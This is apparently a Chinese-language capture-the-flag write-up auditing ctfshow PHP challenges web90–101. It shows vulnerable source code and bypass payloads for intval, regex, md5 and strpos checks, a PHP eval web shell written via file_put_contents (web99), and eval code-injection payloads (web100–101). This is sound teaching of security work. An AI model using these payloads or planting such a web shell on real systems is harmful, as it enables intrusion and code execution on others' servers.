PHP代码审计-----以ctfshow php特性90-101为例
web90
实例:<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
来看一下题目
当值等于4476时便可以,intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476c”)也等于4476。
构造pyload:num=4476c,URL栏输入既可
web91
preg_match 函数用于执行一个正则表达式匹配
^ 表示匹配文本的起始位置
/i 表示匹配大小写
/m 表示多行匹配
引入题目源码:
对其解码得:多行之内要有php,但一行之内不能有php
构造paylaod:cmd=%0aphp
web92
看源码
类似于web90也是intval函数的考验。
构造pyload:4476e123。
原理:这样以科学计数法方式的,可以绕过第一个if判断,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取,所以intval遇到4476e123会变成4476。
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
如源码所示过滤了a-z用不了16进制和科学计数法了,但可以用8进制
payload:010574
web94
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
第一个if是强等判断(即判断类型又判断内容)
第三个if的意思 传进来的字符串必须要有0,而且是不能以0开头
而对于strpos函数来说我们可以用换行(%0a)和空格进行绕过
payload:?num=%0a010574或payload:?num=4476.0
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
分析源码与94差不多多了一个点的过滤
payload:?num= 010574或payload:?num=%0a010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
这里的$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取
payload:u=./flag.php或payload:u=/var/www/html/flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
对源码分析:a要不等于b,但是md5要相等,可以用数组,直接用MD5数组返回的是相同的值这点绕过过滤。
payload:a[]=1&b[]=2
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
看源码发现是三元表达式
三元表达式:
条件表达式?表达式1:表达式2
条件表达式为true时调用表达式1,为false时调用表达式2
附上知识:
对源码解析得到:
如果有get参数那么get=$_post否则get=flag
如果get的flag变量等于flag那么get=cookie
如果get的flag变量等于flag那么get=$_SERVER
如果get的http_flag变量等于flag,那么输出 flag
法一
我们利用第一行和第四行:先让get有参数让它为真,从而拿post数据构造pyload
payload:get传参 ?1=1 或 ?2=2等随机数都可以
post传参 HTTP_FLAG=flag
法二
我们利用get传参让它拿post数据,post传入flag=flag拿cookie数据,cookie则传入第四行的判断
payload:get传参 ?1=1 同上
post传参 flag=flag (让它进入第二行的判断,拿cookie数据)
cookie传参 HTTP_FLAG=flag
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
分析源码:
for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面
in_array判断allow数组里面是否有n参数
进行构造pyload:
get传参 n=1.php
post传参 content=<?php eval($_POST[a]);?>
web100
看看源码:
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
分析:is_numeric检测变量是否为数字或数字字符串
v0那一行:赋值的优先级要高于and,所以不用管v2 v3是不是数字,只会把v1赋值给v0
if匹配v2里面不能有;号,v3里面要有;号。
payload:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
看看源码与上一题相似,但过滤了/,*等,只能换一种做法
可以使用ReflectionClass类:PHP: ReflectionClass
payload:?v1=1&v2=echo new ReflectionClass&v3=;